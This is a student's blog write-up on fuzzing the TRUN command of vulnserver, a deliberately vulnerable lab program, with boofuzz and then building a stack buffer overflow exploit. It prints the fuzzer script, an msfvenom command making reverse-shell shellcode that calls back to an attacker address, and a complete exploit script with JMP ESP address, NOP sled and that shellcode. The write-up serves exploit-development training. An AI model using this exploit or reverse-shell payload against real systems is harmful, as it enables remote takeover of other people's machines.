Fuzzing and exploiting vulnserver TRUN command

A tutorial/writeup to fuzz the TRUN command of vulnserver using boofuzz and then writing a buffer overflow exploit by analyzing the crash.

Fuzzing and exploiting vulnserver TRUN command

It’s been a long time since I wrote a post now since the lockdown keeps extending so I decided to polish my skills of exploit development on windows. So in this post, I will be fuzzing TRUN command of vulnserver.exe using boofuzz which is a network fuzzing framework based on sully framework.

So let’s get started!

Environment

The lab environment for the given tutorial is as follows:-

  • OS: Microsoft Windows [Version 10.0.17134.1] x86
  • ASLR: off
  • DEP: off

Fuzzing

To fuzz the TRUN command of vulnserver.exe we will be using boofuzz which is an awesome framework for network fuzzing as it is quite easy to use and very powerful as well.

The script which I wrote using boofuzz is as follows

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
from boofuzz import *

host = "192.168.181.189"
port = 9999
proto = "tcp"

session = Session(
    target = Target(
        connection = SocketConnection(host, port, proto=proto)))

s_initialize("trun")
s_static("TRUN")
s_delim(" ", fuzzable = False)
s_string("FUZZZZ")

session.connect(s_get("trun"))
session.fuzz()

Now we will start the vulnserver and then attach immunity debugger to the process to analyze the crash if any.

Now starting the fuzzer by running the above script we can see that vulnserver has crashed with EIP overwritten as 41414141 i.e., AAAA

Analyzing the crash

All the results and logs of fuzzing are saved in a boofuzz-results directory in the current working of the script. We can open the results in the browser using the command

1
boo open boofuzz-results/run-<timestamp>.db

now if we analyze the stack of the vulnserver and then boofuzz logs we can see that the following request crashed the server

STACK

LOGS

Exploit development

We were able to create a crash by overwriting EIP, now we must reproduce this crash and then craft a payload to control the crash.

This process is what’s called exploit development right?

So now let’s first reproduce the crash by writing a simple python script which will reproduce the payload sent by boofuzz but only this time we will replace all the AAAA… with a cyclic pattern created using msf-pattern_create -l 3000 so that we can find the offset at which we can overwrite the saved EIP on the stack.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/usr/bin/env python3
from pwn import *

host = "192.168.181.189"
port = 9999

cmd = b"TRUN /.:/"
pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9"

payload = cmd
payload += pattern

p = remote(host, port)
p.sendline(payload)

running the above script we can reproduce the crash by overwriting saved EIP address on the stack

now we can use the value of EIP to calculate the offset of the EIP overwrite

1
2
➜  vulnserver msf-pattern_offset -q 0x386F4337
[*] Exact match at offset 2003

now as we can control the EIP so let’s find see if there are any gadgets in the binary that can be used to jump or call stack so that we can execute our shellcode on the server.

We can use mona.py plugin of immunity debugger for the above task

we found quite a lot of jmp esp gadget for the task choosing any from the above.

Now generating a reverse shell shellcode using msfvenom to be used in the exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
➜  vulnserver msfvenom -p windows/shell_reverse_tcp LHOST=192.168.181.132 LPORT=4444 -f python -v shellcode -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode =  b""
shellcode += b"\xdd\xc5\xbf\xcc\x3a\xf1\x7b\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x13"
shellcode += b"\x03\xb6\x29\x13\x8e\xba\xa6\x51\x71\x42\x37"
shellcode += b"\x36\xfb\xa7\x06\x76\x9f\xac\x39\x46\xeb\xe0"
shellcode += b"\xb5\x2d\xb9\x10\x4d\x43\x16\x17\xe6\xee\x40"
shellcode += b"\x16\xf7\x43\xb0\x39\x7b\x9e\xe5\x99\x42\x51"
shellcode += b"\xf8\xd8\x83\x8c\xf1\x88\x5c\xda\xa4\x3c\xe8"
shellcode += b"\x96\x74\xb7\xa2\x37\xfd\x24\x72\x39\x2c\xfb"
shellcode += b"\x08\x60\xee\xfa\xdd\x18\xa7\xe4\x02\x24\x71"
shellcode += b"\x9f\xf1\xd2\x80\x49\xc8\x1b\x2e\xb4\xe4\xe9"
shellcode += b"\x2e\xf1\xc3\x11\x45\x0b\x30\xaf\x5e\xc8\x4a"
shellcode += b"\x6b\xea\xca\xed\xf8\x4c\x36\x0f\x2c\x0a\xbd"
shellcode += b"\x03\x99\x58\x99\x07\x1c\x8c\x92\x3c\x95\x33"
shellcode += b"\x74\xb5\xed\x17\x50\x9d\xb6\x36\xc1\x7b\x18"
shellcode += b"\x46\x11\x24\xc5\xe2\x5a\xc9\x12\x9f\x01\x86"
shellcode += b"\xd7\x92\xb9\x56\x70\xa4\xca\x64\xdf\x1e\x44"
shellcode += b"\xc5\xa8\xb8\x93\x2a\x83\x7d\x0b\xd5\x2c\x7e"
shellcode += b"\x02\x12\x78\x2e\x3c\xb3\x01\xa5\xbc\x3c\xd4"
shellcode += b"\x6a\xec\x92\x87\xca\x5c\x53\x78\xa3\xb6\x5c"
shellcode += b"\xa7\xd3\xb9\xb6\xc0\x7e\x40\x51\x2f\xd6\xff"
shellcode += b"\x25\xc7\x25\xff\x34\x44\xa3\x19\x5c\x64\xe5"
shellcode += b"\xb2\xc9\x1d\xac\x48\x6b\xe1\x7a\x35\xab\x69"
shellcode += b"\x89\xca\x62\x9a\xe4\xd8\x13\x6a\xb3\x82\xb2"
shellcode += b"\x75\x69\xaa\x59\xe7\xf6\x2a\x17\x14\xa1\x7d"
shellcode += b"\x70\xea\xb8\xeb\x6c\x55\x13\x09\x6d\x03\x5c"
shellcode += b"\x89\xaa\xf0\x63\x10\x3e\x4c\x40\x02\x86\x4d"
shellcode += b"\xcc\x76\x56\x18\x9a\x20\x10\xf2\x6c\x9a\xca"
shellcode += b"\xa9\x26\x4a\x8a\x81\xf8\x0c\x93\xcf\x8e\xf0"
shellcode += b"\x22\xa6\xd6\x0f\x8a\x2e\xdf\x68\xf6\xce\x20"
shellcode += b"\xa3\xb2\xff\x6a\xe9\x93\x97\x32\x78\xa6\xf5"
shellcode += b"\xc4\x57\xe5\x03\x47\x5d\x96\xf7\x57\x14\x93"
shellcode += b"\xbc\xdf\xc5\xe9\xad\xb5\xe9\x5e\xcd\x9f"

Putting all the things together in an exploit script our reverse shell exploit for vulnserver is ready!

Below is the exploit which I wrote

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/env python3
from pwn import *

host = "192.168.181.189"
port = 9999
cmd = b"TRUN /.:/"
jmp_esp = 0x625011bb

shellcode =  b""
shellcode += b"\xdd\xc5\xbf\xcc\x3a\xf1\x7b\xd9\x74\x24\xf4"
shellcode += b"\x5a\x29\xc9\xb1\x52\x83\xc2\x04\x31\x7a\x13"
shellcode += b"\x03\xb6\x29\x13\x8e\xba\xa6\x51\x71\x42\x37"
shellcode += b"\x36\xfb\xa7\x06\x76\x9f\xac\x39\x46\xeb\xe0"
shellcode += b"\xb5\x2d\xb9\x10\x4d\x43\x16\x17\xe6\xee\x40"
shellcode += b"\x16\xf7\x43\xb0\x39\x7b\x9e\xe5\x99\x42\x51"
shellcode += b"\xf8\xd8\x83\x8c\xf1\x88\x5c\xda\xa4\x3c\xe8"
shellcode += b"\x96\x74\xb7\xa2\x37\xfd\x24\x72\x39\x2c\xfb"
shellcode += b"\x08\x60\xee\xfa\xdd\x18\xa7\xe4\x02\x24\x71"
shellcode += b"\x9f\xf1\xd2\x80\x49\xc8\x1b\x2e\xb4\xe4\xe9"
shellcode += b"\x2e\xf1\xc3\x11\x45\x0b\x30\xaf\x5e\xc8\x4a"
shellcode += b"\x6b\xea\xca\xed\xf8\x4c\x36\x0f\x2c\x0a\xbd"
shellcode += b"\x03\x99\x58\x99\x07\x1c\x8c\x92\x3c\x95\x33"
shellcode += b"\x74\xb5\xed\x17\x50\x9d\xb6\x36\xc1\x7b\x18"
shellcode += b"\x46\x11\x24\xc5\xe2\x5a\xc9\x12\x9f\x01\x86"
shellcode += b"\xd7\x92\xb9\x56\x70\xa4\xca\x64\xdf\x1e\x44"
shellcode += b"\xc5\xa8\xb8\x93\x2a\x83\x7d\x0b\xd5\x2c\x7e"
shellcode += b"\x02\x12\x78\x2e\x3c\xb3\x01\xa5\xbc\x3c\xd4"
shellcode += b"\x6a\xec\x92\x87\xca\x5c\x53\x78\xa3\xb6\x5c"
shellcode += b"\xa7\xd3\xb9\xb6\xc0\x7e\x40\x51\x2f\xd6\xff"
shellcode += b"\x25\xc7\x25\xff\x34\x44\xa3\x19\x5c\x64\xe5"
shellcode += b"\xb2\xc9\x1d\xac\x48\x6b\xe1\x7a\x35\xab\x69"
shellcode += b"\x89\xca\x62\x9a\xe4\xd8\x13\x6a\xb3\x82\xb2"
shellcode += b"\x75\x69\xaa\x59\xe7\xf6\x2a\x17\x14\xa1\x7d"
shellcode += b"\x70\xea\xb8\xeb\x6c\x55\x13\x09\x6d\x03\x5c"
shellcode += b"\x89\xaa\xf0\x63\x10\x3e\x4c\x40\x02\x86\x4d"
shellcode += b"\xcc\x76\x56\x18\x9a\x20\x10\xf2\x6c\x9a\xca"
shellcode += b"\xa9\x26\x4a\x8a\x81\xf8\x0c\x93\xcf\x8e\xf0"
shellcode += b"\x22\xa6\xd6\x0f\x8a\x2e\xdf\x68\xf6\xce\x20"
shellcode += b"\xa3\xb2\xff\x6a\xe9\x93\x97\x32\x78\xa6\xf5"
shellcode += b"\xc4\x57\xe5\x03\x47\x5d\x96\xf7\x57\x14\x93"
shellcode += b"\xbc\xdf\xc5\xe9\xad\xb5\xe9\x5e\xcd\x9f"

padding = b"A"*2003

payload = cmd
payload += padding
payload += p32(jmp_esp)
payload += b"\x90"*100
payload += shellcode

p = remote(host, port)
p.sendline(payload)

Executing the exploit script we get a reverse shell back to us which can be handled by a Netcat listener

I hope you liked the writeup.

Thanks for reading ❤️

Avatar
Sunny Mishra (codacker)
Student

A passionate geek who loves to break stuff and then make it again, with interests in cloud infrastructure, network security, reverse engineering, malware analysis and exploit development.

Related

comments powered by Disqus